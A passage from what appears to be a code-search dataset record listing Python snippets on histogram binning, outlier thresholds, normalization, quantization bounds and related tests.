-.0005-.0005, .0005-.0015, etc.\n INV_STEP_SIZE = 100000\n step_size = 1 / INV_STEP_SIZE\n max_ma_values = np.max(ma_values, axis=1)\n # round up based on resolution\n max_ma_values = np.ceil(max_ma_values * INV_STEP_SIZE) / INV_STEP_SIZE\n max_poss_ale = self.compute_summarystat(max_ma_values)\n # create bin centers\n hist_bins = np.round(np.arange(0, max_poss_ale + (1.5 * step_size), step_size), 5)\n self.null_distributions_[\"histogram_bins\"] = hist_bins","def bollinger_bands(self, normalize=False):\n sma = self.sma(normalize=normalize)\n rstd = self.rolling_std(normalize=normalize)\n upper_band = sma + rstd\n lower_band = sma - rstd\n return upper_band, lower_band","def compute_outliers(data: np.ndarray, data_range: typing.Tuple[float, float]) -> int:\n return np.count_nonzero((data >= data_range[0]) & (data < data_range[1]))","def ahistogram (inarray,numbins=10,defaultlimits=None,printextras=1):\r\n inarray = N.ravel(inarray) # flatten any >1D arrays\r\n if (defaultlimits <> None):\r\n lowerreallimit = defaultlimits[0]\r\n upperreallimit = defaultlimits[1]\r\n binsize = (upperreallimit-lowerreallimit) / float(numbins)\r\n else:\r\n Min = N.minimum.reduce(inarray)\r\n Max = N.maximum.reduce(inarray)\r\n estbinwidth = float(Max - Min)/float(numbins) + 1e-6\r\n binsize = (Max-Min+estbinwidth)/float(numbins)\r\n lowerreallimit = Min - binsize/2.0 #lower real limit,1st bin\r\n bins = N.zeros(numbins)\r\n extrapoints = 0\r\n for num in inarray:\r\n try:\r\n if (num-lowerreallimit) < 0:\r\n extrapoints = extrapoints + 1\r\n else:\r\n bintoincrement = int((num-lowerreallimit) / float(binsize))\r\n bins[bintoincrement] = bins[bintoincrement] + 1\r\n except: # point outside lower/upper limits\r\n extrapoints = extrapoints + 1\r\n if (extrapoints > 0 and printextras == 1):\r\n print '\\nPoints outside given histogram range =',extrapoints\r\n return (bins, lowerreallimit, binsize, extrapoints)","def normalize_row_scale01(data,tol=1e-6,data_min=None,data_max=None,clip=False,clip_min=1e-3,clip_max=1e3):\n if clip:\n data[data<clip_min]=clip_min\n data[data>clip_max]=clip_max\n\n if data_max is None:\n data_max=np.max(data,axis=1)\n data_max.shape=(data_max.shape[0],1)\n #if clip:\n # data_max[data_max>clip_max]=clip_max\n if data_min is None:\n data_min=np.min(data,axis=1)\n data_min.shape=(data_min.shape[0],1)\n #if clip:\n # data_min[data_min<clip_min]=clip_min\n #tol=1e-6#1e-8\n return (data-data_min)/(data_max-data_min+tol),data_min,data_max","def test_set_clip_precentile_update_data(self):\n data = np.array([1., 2., 3.])\n self.mode.set_clip_percentile(10, 90)\n result = self.mode.get_bounds(data)\n data = data + 3\n result = self.mode.get_bounds(data)\n np.testing.assert_array_almost_equal(result,\n np.percentile(data, [10, 90]))","def test_set_clip_precentile_update(self):\n data = np.array([1., 2., 3.])\n self.mode.set_clip_percentile(10, 90)\n result = self.mode.get_bounds(data)\n self.mode.set_clip_percentile(20, 80)\n result = self.mode.get_bounds(data)\n np.testing.assert_array_almost_equal(result,\n np.percentile(data, [20, 80]))","def nudged_min_max_compute(min_broadcast, max_broadcast, num_bits, narrow_range):\n\n\n dtype = min_broadcast.dtype\n quant_min = 1 if narrow_range else 0\n quant_max = (2 ** num_bits) - 1\n\n # because of need compute each channel, so quant_min and quant_max need to broadcast.\n quant_min_float = topi.full(min_broadcast.shape, dtype, tvm.const(quant_min, dtype))\n quant_max_float = topi.full(min_broadcast.shape, dtype, tvm.const(quant_max, dtype))\n\n # caculate each channel max and min difference.\n max_sub_min = topi.subtract(max_broadcast, min_broadcast)\n quant_max_sub_quant_min = topi.subtract(quant_max_float, quant_min_float)\n # compute scale = (max_broadcast - min_broadcast) / (quant_max - quant_min)\n # and min_div_scale = min_broadcast / scale\n if product_is_mini():\n scale = mul(max_sub_min, reciprocal(quant_max_sub_quant_min), target=utils.CCE)\n min_div_scale = Mul(min_broadcast, reciprocal(scale), target=utils.CCE)\n else:\n scale = divide(max_sub_min, quant_max_sub_quant_min, target=utils.CCE)\n min_div_scale = divide(min_broadcast, scale, target=utils.CCE)\n\n # zero_point_from_min = quant_min_float - min_broadcast / scale\n zero_point_from_min = topi.subtract(quant_min_float, min_div_scale)\n # if zero_point_from_min < quant_min_float, bool_less_quant_min_float = 1 else 0\n bool_less_quant_min_float = less_compare_float32(zero_point_from_min, quant_min_float)\n # if quant_max_float < zero_point_from_min, bool_more_quant_max_float = 1 else 0\n bool_more_quant_max_float = less_compare_float32(quant_max_float, zero_point_from_min)\n\n # according to above bool param to select effective value\n less_quant_min_float = topi.multiply(quant_min_float, bool_less_quant_min_float)\n more_quant_max_float = topi.multiply(quant_max_float, bool_more_quant_max_float)\n\n # compute which num is not less than quant_min_float and not large than quant_max_float\n tensor_one = topi.full(min_broadcast.shape, dtype, dc.one_const(dtype))\n bool_not_less_quant_min_float = topi.subtract(tensor_one, bool_less_quant_min_float)\n bool_not_more_quant_max_float = topi.subtract(tensor_one, bool_more_quant_max_float)\n bool_between_min_max = topi.multiply(bool_not_less_quant_min_float, bool_not_more_quant_max_float)\n between_min_max_float = topi.multiply(zero_point_from_min, bool_between_min_max)\n # add 0.5 to num which min <= num <= max and then floor them.\n between_min_max_add_half_one = topi.add(between_min_max_float, dc.half_const(dtype))\n between_min_max_round = akg.lang.ascend.floor(between_min_max_add_half_one)\n if product_is_mini():\n between_min_max_round = topi.cast(between_min_max_round, \"float16\")\n\n between_min_max_round = topi.cast(between_min_max_round, \"float32\")\n\n # calculate the maximum and minimum values of the quantization\n nudged_zero_point_tmp = topi.add(less_quant_min_float, more_quant_max_float)\n nudged_zero_point = topi.add(nudged_zero_point_tmp, between_min_max_round)\n\n nudged_min_tmp = topi.subtract(quant_min_float, nudged_zero_point)\n nudged_max_tmp = topi.subtract(quant_max_float, nudged_zero_point)\n nudged_min = topi.multiply(nudged_min_tmp, scale)\n nudged_max = topi.multiply(nudged_max_tmp, scale)\n res = [nudged_min, nudged_max, scale]\n\n return res","def lin_cutoff_calc_from_perc(image, minimum, maximum):\n if minimum < 0 or maximum < 0 or minimum > 100 or maximum > 100:\n raise Exception(\"rvt.blend_funct.lin_cutoff_calc_from_perc: minimum, maximum are percent and have to be in \"\n \"range 0-100!\")\n if minimum + maximum > 100:\n raise Exception(\"rvt.blend_funct.lin_cutoff_calc_from_perc: if minimum + maximum > 100% then there are no\"\n \" values left! You can't cutoff whole image!\")\n distribution = np.nanpercentile(a=image, q=np.array([minimum, 100 - maximum]))\n min_lin = distribution[0]\n max_lin = distribution[1]\n if min_lin == max_lin:\n min_lin = np.nanmin(image)\n max_lin = np.nanmax(image)\n return {\"min_lin\": min_lin, \"max_lin\": max_lin}","def map_bound(value, in_low, in_high, out_low, out_high):\n result = None\n\n if value <= in_low:\n result = out_low\n else:\n if value >= in_high:\n result = out_high\n else:\n # http://stackoverflow.com/a/5650012/574981\n result = out_low + (\n (out_high - out_low) * (value - in_low) / (in_high - in_low)\n )\n return result","def get_abnormal_price_values(ls_ls_prices, lower_bound, upper_bound):\n ls_abnormal_prices = []\n for indiv_ind, ls_prices in enumerate(ls_ls_prices):\n day_ind = 0\n while day_ind < len(ls_prices):\n if (ls_prices[day_ind] < lower_bound) or (ls_prices[day_ind] > upper_bound):\n relative_day = 0\n ls_day_inds = []\n while (day_ind + relative_day < len(ls_prices)) and\\\n (ls_prices[day_ind] == ls_prices[day_ind + relative_day]):\n ls_day_inds.append(day_ind + relative_day)\n relative_day += 1\n ls_abnormal_prices.append((indiv_ind, ls_prices[day_ind], ls_day_inds))\n day_ind += relative_day\n else:\n day_ind += 1\n return ls_abnormal_prices","def test_simple_check_data_below(self):\n expected = np.array([8.4, 10.61538462, 11.84615385])\n expected = expected[:, np.newaxis, np.newaxis]\n\n data = np.array([0.95, 0.3, 0.05])[::-1]\n data = data[:, np.newaxis, np.newaxis]\n\n cube = set_up_probability_cube(\n data.astype(np.float32),\n ECC_TEMPERATURE_THRESHOLDS,\n threshold_units=\"degC\",\n spp__relative_to_threshold=\"below\",\n )\n\n result = Plugin()._probabilities_to_percentiles(cube, self.percentiles)\n self.assertArrayAlmostEqual(result.data, expected)","def compare(cls, data_hist, ref_hist, floor):\n\n debug('Min: {}'.format(min_skip_empty(data_hist)))\n if min_skip_empty(data_hist) > floor:\n return cls.create_final_dict(Score(100), ERROR_LEVELS.OK)\n else:\n return cls.create_final_dict(Score(0), ERROR_LEVELS.ERROR)","def compare(cls, data_hist, ref_hist, abs_band):\n\n if not abs_band: # 3*sigma tolerance band from reference\n abs_band = 3*ref_hist.GetRMS()\n abs_band = abs(abs_band) # force +ve definite band\n frac_above = frac_above_threshold(data_hist, abs_band)\n frac_below = frac_below_threshold(data_hist, -abs_band)\n frac_outside = frac_above + frac_below\n debug('Fraction outside: {}, above: {}, below: {}'.\n format(frac_outside, frac_above, frac_below))\n if frac_outside > 0.01:\n return cls.create_final_dict(Score(0), ERROR_LEVELS.ERROR)\n else:\n return cls.create_final_dict(Score(100), ERROR_LEVELS.OK)","def __init__(self, bucket_ranges):\n # An array of the histogram bucket boundaries, such as 1, 10, 30, 100\n self.__bucket_ranges = list(bucket_ranges)\n last_value = None\n for i in self.__bucket_ranges:\n if last_value is not None and i < last_value:\n raise ValueError(\"The bucket_ranges argument must be sorted.\")\n else:\n last_value = i\n\n # __counts[i] holds the total number of values we have seen >= to __boundaries[i-1] and < __boundaries[i]\n self.__counts = [0] * len(bucket_ranges)\n # __overflows holds the number of values >= __boundaries[-1]\n self.__overflow = 0\n # The minimum and maximum values seen.\n self.__min = None\n self.__max = None\n # The total number of values collected.\n self.__total_count = 0\n # The sum of the values collected\n self.__total_values = 0","def eval_strategy_range(make_strategy, lower_bound, upper_bound):\r\n best_value, best_win_rate = 0, 0\r\n value = lower_bound\r\n while value <= upper_bound:\r\n strategy = make_strategy(value)\r\n win_rate = compare_strategies(strategy)\r\n print('Win rate against the baseline using', value, 'value:', win_rate)\r\n if win_rate > best_win_rate:\r\n best_win_rate, best_value = win_rate, value\r\n value += 1\r\n return best_value","def make_roundflat(\n lower_bound=0.1,\n upper_bound=0.6,\n lower_steepness=2.0,\n upper_steepness=8.0,\n integration_bounds=(0.0, 10.0),\n):\n\n def roundflat(x):\n return -2 * (\n (x / lower_bound) ** (-2 * lower_steepness)\n + (x / upper_bound) ** (2 * upper_steepness)\n )\n\n value = quad(\n lambda x: np.exp(roundflat(x)), integration_bounds[0], integration_bounds[1]\n )[0]\n\n def prior(x):\n return roundflat(x) - np.log(value)\n\n return prior","def check_limits(data, tables, max_percent=1., replace_with='interpolation'):\n from . import trend as pmtrend\n import numpy as np\n from . import algs\n import pandas as pd\n\n df = data.copy()\n max_count = int(len(df)*max_percent/100.)\n low_count = pd.Series(0, index=tables.columns)\n upp_count = pd.Series(0, index=tables.columns)\n fault_count = pd.Series(0, index=tables.columns)\n\n #-----------\n # First we check the lower values\n if 'lower_limits' in tables.index.values:\n faulty = df < tables.loc['lower_limits']\n low_count = df[ faulty ].count() \n df[ faulty ] = np.nan\n #-------------------------------\n \n #-------------------------------\n # Now we check the upper values\n if 'upper_limits' in tables.index.values:\n faulty = df > tables.loc['upper_limits']\n upp_count = df[ faulty ].count() \n df[ faulty ] = np.nan\n #-------------------------------\n\n fault_count = low_count + upp_count\n valid = fault_count < max_count\n\n #------------\n # Replace data with either its trend or by interpolating\n if replace_with=='trend':\n trend = pmdata.trend(df, how='linear')\n df = df.fillna(trend)\n elif replace_with=='interpolation':\n df = df.interpolate(method='index', limit_direction='both')\n #------------\n\n #-------------------------------\n # Substitute faulty points by the linear trend\n #trend = data.polyfit()\n #df = df.fillna(trend)\n #-------------------------------\n\n return df, valid, fault_count","def conceptcover(bin_arr, limit=1, uncovered=0.1):\n arr = np.copy(bin_arr)\n arr_sum = np.sum(arr)\n result = []\n while True:\n k = kernel(arr)\n i = intent(bin_arr, k)\n e = extent(bin_arr, i)\n if len(e)*len(i) < limit or (e, i) in result: break\n result.append((e, i))\n arr = removed(arr, e, i)\n if np.sum(arr)/arr_sum < uncovered: break\n return result","def _get_bound(self):\n\n if self.totensor:\n max_ = 1.0\n min_ = 0.0\n else:\n max_ = 255.0\n min_ = 0.0\n\n upper = (max_ - torch.tensor(self.img_norm['mean'])) / torch.tensor(self.img_norm['std'])\n lower = min_ - torch.tensor(self.img_norm['mean']) / torch.tensor(self.img_norm['std'])\n \n return upper, lower","def get_bollinger_bands(rm, rstd):\n \n upper_band=rm+2*rstd\n lower_band=rm-2*rstd\n return upper_band, lower_band","def _validateregion(self, bounds):\n bounds.sort()\n for region in self.regions:\n if region['min'] <= bounds[0] and region['max'] >= bounds[1]:\n return None\n elif region['min'] >= bounds[0] and region['max'] <= bounds[1]:\n i = self.regions.index(region)\n del self.regions[i]\n self.regions.append({'min': bounds[0], 'max': bounds[1], \n 'group': group})\n elif region['min'] <= bounds[0] <= region['max'] and \\\n region['max'] < bounds[1]:\n bounds[0] = region['max'] + 1\n elif region['min'] <= bounds[1] <= region['max'] and \\\n region['min'] > bounds[0]:\n bounds[1] = region['min'] - 1\n return bounds","def upper_bound(self) -> float:\n ...","def test_calculate_crow_bounds_scale_parameter_type2(self):\n\n _bounds = calculate_crow_bounds(22, 620.0, 0.4239, 0.6142, 0.9, 2, 2)\n self.assertAlmostEqual(_bounds[0], 0.2870230)\n self.assertAlmostEqual(_bounds[1], 0.5827754)","def sigma_boundary(counts, percentage):\n\t# Sort counts in descending order\n\tcounts_desc = sorted(counts.flatten(), reverse=True)\n\t# Find cumulative sum of sorted counts\n\tcumulative_counts = np.cumsum(counts_desc)\n\t# Create a mask for counts outside of percentage boundary\n\tsum_mask = cumulative_counts < (percentage /100) * np.sum(counts)\n\tsigma_sorted = sum_mask * counts_desc\n\t# Assume that density is ellipse equivalent of radially symmetric\n\tsigma_min = min(sigma_sorted[sigma_sorted.nonzero()])\n\n\treturn sigma_min","def find_outliers(data, method='iqr'):\n\n if method=='iqr':\n # Finding the interquartile range\n q1 = data.quantile(.25)\n q3 = data.quantile(.75)\n iqr = q3-q1\n\n upper = q3 + iqr*1.5\n lower = q1 - iqr*1.5\n elif method=='std':\n std = data.std()\n lower = data.mean() - 3*std\n upper = data.mean() + 3*std\n else:\n raise ValueError(\"Invalid value for 'method' passed\")\n\n\n return lower, upper","def identify_outliers(x):\n outliers = np.array([])\n\n IQR = iqr(x)\n low_cut = np.percentile(x,25) - 1.5*IQR\n high_cut = np.percentile(x,75) + 1.5*IQR\n\n for sub in x.index:\n if x.loc[sub] < low_cut or x.loc[sub] > high_cut:\n # outliers = np.append(outliers,np.asarray(x == i).nonzero()[0])\n outliers = np.append(outliers,sub)\n\n return outliers","def bucket_sort(numbers, num_buckets=10):\n ##################################################################\n # Step 1:\n # TODO: Find range of given numbers (minimum and maximum values)\n ##################################################################\n \n minimum = min(numbers)\n maximum = max(numbers)\n numbers_range = maximum - minimum\n # print(numbers_range), print(minimum), print(maximum)\n\n ##################################################################################\n # Step 2:\n # TODO: Create list of buckets to store numbers in subranges of input range\n ##################################################################################\n buckets = []\n for i in range(num_buckets+1):\n buckets.append([])\n\n # TODO: Loop over given numbers and place each item in appropriate bucket\n for num in numbers: \n index = int((int((num - minimum) * 100) / numbers_range) / num_buckets)\n buckets[index].append(num)\n\n # TODO: Sort each bucket using any sorting algorithm (recursive or another)\n \n for bucket in buckets:\n for i in range(1, len(bucket)):\n j = i - 1\n num = bucket[i]\n while j >= 0:\n if bucket[i] < bucket[j]:\n bucket[j+1] = bucket[j]\n bucket[j] = num\n j -= 1\n else:\n break\n # for bucket in buckets:\n # for i in range(1, len(buckets)):\n # # Comparison operator \n # while buckets[i-1] > buckets[i] and i > 0:\n # # Swap items \n # buckets[i], buckets[i-1] = buckets[i-1], buckets[i]\n # # Continue looping over items\n # i-=1\n\n return buckets\n\n # TODO: Loop over buckets and append each bucket's numbers into output list\n output = []\n for bucket in buckets:\n for num in bucket:\n output.append(num)\n\n return output\n # FIXME: Improve this to mutate input instead of creating new output list","def exclude_zero_bins(f,fitmin,fitmax,hs=[],limit=0,sumall=False):\n if len(hs)==0:\n return\n nbins = fitmax - fitmin + 1\n nexcl = 0\n exclist = []\n for ibin in xrange(fitmin,fitmax+1):\n do_exc = any( [h.GetBinContent(ibin)<limit for h in hs] ) if sumall==False else (sum([h.GetBinContent(ibin) for h in hs])<limit)\n if do_exc:\n f.ExcludeBin(ibin)\n exclist.append(ibin)\n nexcl += 1\n if nexcl>0:\n print 'WARNING: TFractionFitter excluded %d out of %d bins due to low statistics (nentries<%d)'%(nexcl,nbins,limit)\n print ' bins: ' + ' '.join([str(xx) for xx in exclist])\n else:\n print 'INFO: TFractionFitter does not need to exclude any bins'\n return True","def norm_hist(self, hist_lower, hist_upper, lower, upper, value) :\n norm = 1.\n if upper>lower :\n norm = hist_lower.Integral()+(hist_upper.Integral()-hist_lower.Integral())/abs(upper-lower)*(value-lower)\n return norm","def generate_binned_values( lower_lim, upper_lim, chr_length, snps_per_chr, indels_per_chr, resolution ):\n\t\n\tsnp_data = []\n\tindel_data = []\n\twhile True:\n\t\tif upper_lim >= chr_length:\n\t\t\tbreak\n\t\telse:\n\t\t\tsnp_tmp = []\n\t\t\tindel_tmp = []\n\t\t\tfor SNP in snps_per_chr:\n\t\t\t\tif SNP <= upper_lim and SNP > lower_lim:\n\t\t\t\t\tsnp_tmp.append( 'X' )\n\t\t\tfor indel in indels_per_chr:\n\t\t\t\tif indel <= upper_lim and indel > lower_lim:\n\t\t\t\t\tindel_tmp.append( 'X' )\n\t\t\tsnp_data.append( len( snp_tmp ) )\n\t\t\tindel_data.append( len( indel_tmp ) )\n\t\tupper_lim += resolution\n\t\tlower_lim += resolution\n\treturn max( snp_data ), max( indel_data ), snp_data, indel_data","def getBinRange(histogram, bin_numbers=None, errors=True,\n log_scale=False, bin_area=None):\n\n if bin_numbers is None:\n bin_numbers = AxesIterator(histogram.axes)\n\n lo = None\n hi = None\n for bin_number in bin_numbers:\n value = histogram.getBinContent(bin_number)\n err_lo, err_hi = histogram.getBinError(bin_number)\n if errors:\n vlo = value - err_lo\n vhi = value + err_hi\n else:\n vlo = value\n vhi = value\n # Normalize to the bin area.\n if bin_area is not None:\n bin_size = getBinSize(histogram.axes, bin_number)\n scale = bin_area / bin_size\n vlo *= scale\n vhi *= scale\n # Update the maximum and minimum. If this is a log scale, skip\n # non-positive values.\n if (not log_scale or vlo > 0) \\\n and (lo is None or vlo < lo):\n lo = vlo\n if (not log_scale or vhi > 0) \\\n and (hi is None or vhi > hi):\n hi = vhi\n # If we didn't get any values, choose something arbitrary.\n if hi is None:\n hi = 1\n if lo is None:\n if log_scale:\n lo = hi / 10\n else:\n lo = 0\n # Go for nice round numbers.\n lo, hi = makeNiceRange(\n (lo, hi), include_zero=not log_scale, log_scale=log_scale)\n # All done.\n return lo, hi","def bincalc(nbin=0.1,bmin=5,bmax=2000):\n\n logbmin=np.log10(bmin)\n logbmax=np.log10(bmax)\n\n logbins=np.arange(logbmin,logbmax,nbin)\n\n bins=10**logbins\n\n #bins=np.linspace(bmin,bmax,60)\n return (bins)","def lhistogram (inlist,numbins=10,defaultreallimits=None,printextras=0):\r\n if (defaultreallimits <> None):\r\n if type(defaultreallimits) not in [ListType,TupleType] or len(defaultreallimits)==1: # only one limit given, assumed to be lower one & upper is calc'd\r\n lowerreallimit = defaultreallimits\r\n upperreallimit = 1.000001 * max(inlist)\r\n else: # assume both limits given\r\n lowerreallimit = defaultreallimits[0]\r\n upperreallimit = defaultreallimits[1]\r\n binsize = (upperreallimit-lowerreallimit)/float(numbins)\r\n else: # no limits given for histogram, both must be calc'd\r\n estbinwidth=(max(inlist)-min(inlist))/float(numbins) +1e-6 #1=>cover all\r\n binsize = ((max(inlist)-min(inlist)+estbinwidth))/float(numbins)\r\n lowerreallimit = min(inlist) - binsize/2 #lower real limit,1st bin\r\n bins = [0]*(numbins)\r\n extrapoints = 0\r\n for num in inlist:\r\n try:\r\n if (num-lowerreallimit) < 0:\r\n extrapoints = extrapoints + 1\r\n else:\r\n bintoincrement = int((num-lowerreallimit)/float(binsize))\r\n bins[bintoincrement] = bins[bintoincrement] + 1\r\n except:\r\n extrapoints = extrapoints + 1\r\n if (extrapoints > 0 and printextras == 1):\r\n print '\\nPoints outside given histogram range =',extrapoints\r\n return (bins, lowerreallimit, binsize, extrapoints)"],"string":"[\n \"def binning(data, low, high):\\n if len(data) == 0: return 1\\n\\n mask1 = (data >= low)\\n mask2 = (data < high)\\n mask3 = numpy.logical_and(mask1, mask2)\\n data = data[mask3]\\n\\n if len(data) == 0: return 10\\n\\n data.sort()\\n q1 = data[int(math.floor(0.25*len(data)))]\\n q3 = data[int(math.floor(0.75*len(data)))]\\n binwidth = 2. * (q3 - q1) / len(data)**(1./3.)\\n if binwidth > 0.:\\n return max(10, int(math.ceil((high - low)/binwidth)))\\n else:\\n return 10\",\n \"def _get_optimal_threshold(arr, num_bins=1001, num_quantized_bins=255):\\n if not isinstance(arr, np.ndarray):\\n raise TypeError('get_optimal_threshold only supports input type of np.ndarray,'\\n ' while received type=%s' % (str(type(arr))))\\n min_val = np.min(arr)\\n max_val = np.max(arr)\\n th = max(abs(min_val), abs(max_val))\\n\\n hist, hist_edges = np.histogram(arr, bins=num_bins, range=(-th, th))\\n zero_bin_idx = num_bins // 2\\n num_half_quantized_bins = num_quantized_bins // 2\\n assert np.allclose(hist_edges[zero_bin_idx] + hist_edges[zero_bin_idx + 1],\\n 0, rtol=1e-5, atol=1e-7)\\n\\n thresholds = np.zeros(num_bins // 2 + 1 - num_quantized_bins // 2)\\n divergence = np.zeros_like(thresholds)\\n quantized_bins = np.zeros(num_quantized_bins, dtype=np.int32)\\n # i means the number of bins on half axis excluding the zero bin.\\n for i in range(num_quantized_bins // 2,\\n num_bins // 2 + 1):\\n p_bin_idx_start = zero_bin_idx - i\\n p_bin_idx_stop = zero_bin_idx + i + 1\\n thresholds[i - num_half_quantized_bins] = hist_edges[p_bin_idx_stop]\\n sliced_nd_hist = hist[p_bin_idx_start:p_bin_idx_stop]\\n\\n # generate reference distribution p\\n p = sliced_nd_hist.copy()\\n assert p.size % 2 == 1\\n assert p.size >= num_quantized_bins\\n # put left outlier count in p[0]\\n left_outlier_count = np.sum(hist[0:p_bin_idx_start])\\n p[0] += left_outlier_count\\n # put right outlier count in p[-1]\\n right_outlier_count = np.sum(hist[p_bin_idx_stop:])\\n p[-1] += right_outlier_count\\n # is_nonzeros[k] indicates whether hist[k] is nonzero\\n is_nonzeros = (sliced_nd_hist != 0).astype(np.int32)\\n\\n # calculate how many bins should be merged to generate quantized distribution q\\n num_merged_bins = p.size // num_quantized_bins\\n # merge hist into num_quantized_bins bins\\n for j in range(num_quantized_bins):\\n start = j * num_merged_bins\\n stop = start + num_merged_bins\\n quantized_bins[j] = sliced_nd_hist[start:stop].sum()\\n quantized_bins[-1] += sliced_nd_hist[num_quantized_bins * num_merged_bins:].sum()\\n # expand quantized_bins into p.size bins\\n q = np.zeros(p.size, dtype=np.float32)\\n for j in range(num_quantized_bins):\\n start = j * num_merged_bins\\n if j == num_quantized_bins - 1:\\n stop = -1\\n else:\\n stop = start + num_merged_bins\\n norm = is_nonzeros[start:stop].sum()\\n if norm != 0:\\n q[start:stop] = float(quantized_bins[j]) / float(norm)\\n q[sliced_nd_hist == 0] = 0\\n p = _smooth_distribution(p)\\n # There is a chance that q is an invalid probability distribution.\\n try:\\n q = _smooth_distribution(q)\\n except ValueError:\\n divergence[i - num_half_quantized_bins] = float(\\\"inf\\\")\\n else:\\n divergence[i - num_half_quantized_bins] = stats.entropy(p, q)\\n quantized_bins[:] = 0\\n\\n min_divergence_idx = np.argmin(divergence)\\n min_divergence = divergence[min_divergence_idx]\\n opt_th = thresholds[min_divergence_idx]\\n return min_val, max_val, min_divergence, opt_th\",\n \"def test_bins(self):\\n\\n \\n for filename in ['data/population_padang_1.asc', \\n 'data/test_grid.asc']: \\n \\n R = read_coverage(filename)\\n \\n min, max = R.get_extrema() #use_numeric=True)\\n \\n for N in [2,3,5,7,10,16]:\\n linear_intervals = R.get_bins(N=N, quantiles=False) \\n \\n assert linear_intervals[0] == min\\n assert linear_intervals[-1] == max \\n \\n d = (max-min)/N\\n for i in range(N):\\n assert numpy.allclose(linear_intervals[i], min + i*d) \\n \\n \\n quantiles = R.get_bins(N=N, quantiles=True)\\n\\n A = R.get_data(nan=True).flat[:] \\n \\n mask = numpy.logical_not(numpy.isnan(A)) # Omit NaN's\\n l1 = len(A)\\n A = A.compress(mask) \\n l2 = len(A)\\n \\n if filename == 'data/test_grid.asc':\\n # Check that NaN's were removed\\n \\n assert l1 == 35\\n assert l2 == 30\\n \\n \\n # Assert that there are no NaN's \\n assert not numpy.alltrue(numpy.isnan(A))\\n \\n number_of_elements = len(A)\\n average_elements_per_bin = number_of_elements/N\\n \\n # Count elements in each bin and check\\n\\n i0 = quantiles[0]\\n for i1 in quantiles[1:]:\\n count = numpy.sum((i0 < A) & (A < i1))\\n if i0 == quantiles[0]:\\n refcount = count\\n \\n \\n if i1 < quantiles[-1]:\\n # Number of elements in each bin must vary by no more than 1\\n assert abs(count - refcount) <= 1 \\n assert abs(count - average_elements_per_bin) <= 3\\n \\n \\n else:\\n # The last bin is allowed vary by more\\n pass\\n \\n i0 = i1\",\n \"def min_max_normalization(\\n data: np.ndarray, top: int = 255, floor: bool = True\\n) -> np.ndarray:\\n # Converting dtype can prevent Overflow Error\\n data = data.astype(float)\\n\\n lmin = data.min()\\n lmax = data.max()\\n if floor:\\n return np.floor((data - lmin) / (lmax - lmin) * top)\\n else:\\n return (data - lmin) / (lmax - lmin)\",\n \"def autobin_stats(x,y,n_bins=8,stat='average',n_points=None):\\n \\n if not ascend(x):\\n ix=argsort(x)\\n x=take(x,ix)\\n y=take(y,ix)\\n n=len(x)\\n if n_points==None: \\n #This throws out some points\\n n_points=n/n_bins\\n else: \\n n_bins=n/n_points\\n #if there are more that 2 points in the last bin, add another bin\\n if n%n_points>2: n_bins=n_bins+1\\n \\n if n_points<=1:\\n print('Only 1 or less points per bin, output will be sorted input vector with rms==y')\\n return x,y\\n xb,yb=[],[]\\n \\n #print 'stat', stat\\n if stat=='average' or stat=='mean': func=mean\\n elif stat=='median': func=median\\n elif stat=='rms' or stat=='std' : func=std\\n elif stat=='std_robust' or stat=='rms_robust': func=std_robust\\n elif stat=='mean_robust': func=mean_robust\\n elif stat=='median_robust': func=median_robust\\n elif stat=='p2p': func=p2p # --DC\\n elif stat=='min': func=min # --DC\\n elif stat=='max': func=max # --DC\\n \\n for i in range(n_bins):\\n xb.append(mean(x[i*n_points:(i+1)*n_points]))\\n if func==std and n_points==2:\\n print('n_points==2; too few points to determine rms')\\n print('Returning abs(y1-y2)/2. in each bin as rms')\\n yb.append(abs(y[i*n_points]-y[i*n_points+1])/2.)\\n else:\\n yb.append(func(y[i*n_points:(i+1)*n_points]))\\n if i>2 and xb[-1]==xb[-2]: \\n yb[-2]=(yb[-2]+yb[-1])/2.\\n xb=xb[:-1]\\n yb=yb[:-1]\\n return array(xb),array(yb)\",\n \"def remove_outliers(data):\\n upper_boundary = np.quantile(data, 0.992)\\n lower_boundary = np.quantile(data, 0.008)\\n selection = data[(data > lower_boundary) & (data < upper_boundary)]\\n standard_dev = np.std(selection)\\n median = np.median(selection)\\n data[(median + 4.5 * standard_dev < data) | (data < median - 4.5 * standard_dev)] = median\\n return data\",\n \"def get_bins(val: List[float]) -> List[float]:\\n r_min = np.min(val)\\n r_max = np.max(val)\\n min_bins = 2\\n max_bins = 50\\n # Calculate bin width using either Freedman-Diaconis or Sturges estimator\\n bin_edges = np.histogram_bin_edges(val, bins=\\\"auto\\\")\\n if len(bin_edges) < min_bins:\\n return list(np.linspace(start=r_min, stop=r_max, num=min_bins))\\n elif len(bin_edges) <= max_bins:\\n return list(bin_edges)\\n # Clamp to max_bins by estimating a good bin range to be more robust to outliers\\n q75, q25 = np.percentile(val, [75, 25])\\n iqr = q75 - q25\\n width = 2 * iqr / max_bins\\n start = max((q75 + q25) / 2 - iqr, r_min)\\n stop = min(start + max_bins * width, r_max)\\n # Take the minimum of range and 2x IQR to account for outliers\\n edges = list(np.linspace(start=start, stop=stop, num=max_bins))\\n prefix = [r_min] if start > r_min else []\\n suffix = [r_max] if stop < r_max else []\\n return prefix + edges + suffix\",\n \"def outlier_thresholds(dataframe, col_name, low_quantile, up_quantile):\\n quartile1 = dataframe[col_name].quantile(low_quantile)\\n quartile3 = dataframe[col_name].quantile(up_quantile)\\n interquantile_range = quartile3 - quartile1\\n up_limit = quartile3 + 1.5 * interquantile_range\\n low_limit = quartile1 - 1.5 * interquantile_range\\n return low_limit, up_limit\",\n \"def bin_data(y, num_bins, std_away):\\n mean = np.mean(y)\\n std = np.std(y)\\n pitch_shifts = np.arange(-num_bins, num_bins + 1)\\n thresholds = (std * std_away) * pitch_shifts + mean\\n\\n result = []\\n for point in y:\\n if point < thresholds[0]:\\n result.append(pitch_shifts[0] - 1)\\n elif point > thresholds[-1]:\\n result.append(pitch_shifts[-1] + 1)\\n else:\\n for i in range(len(thresholds) - 1):\\n if point >= thresholds[i] and point < thresholds[i + 1]:\\n result.append(i - num_bins)\\n return np.array(result)\",\n \"def window_standardize(img, lower_bound, upper_bound):\\n img = np.clip(img, lower_bound, upper_bound)\\n # x=x*2-1: map x to [-1,1]\\n img = 2 * (img - lower_bound) / (upper_bound - lower_bound) - 1\\n return img\",\n \"def get_weighted_bins(data_df, x_key = 'ecc', y_key = 'size', weight_key = 'rsq', n_bins = 10):\\n \\n # sort values by eccentricity\\n data_df = data_df.sort_values(by=[x_key])\\n\\n #divide in equally sized bins\\n bin_size = int(len(data_df)/n_bins) \\n \\n mean_x = 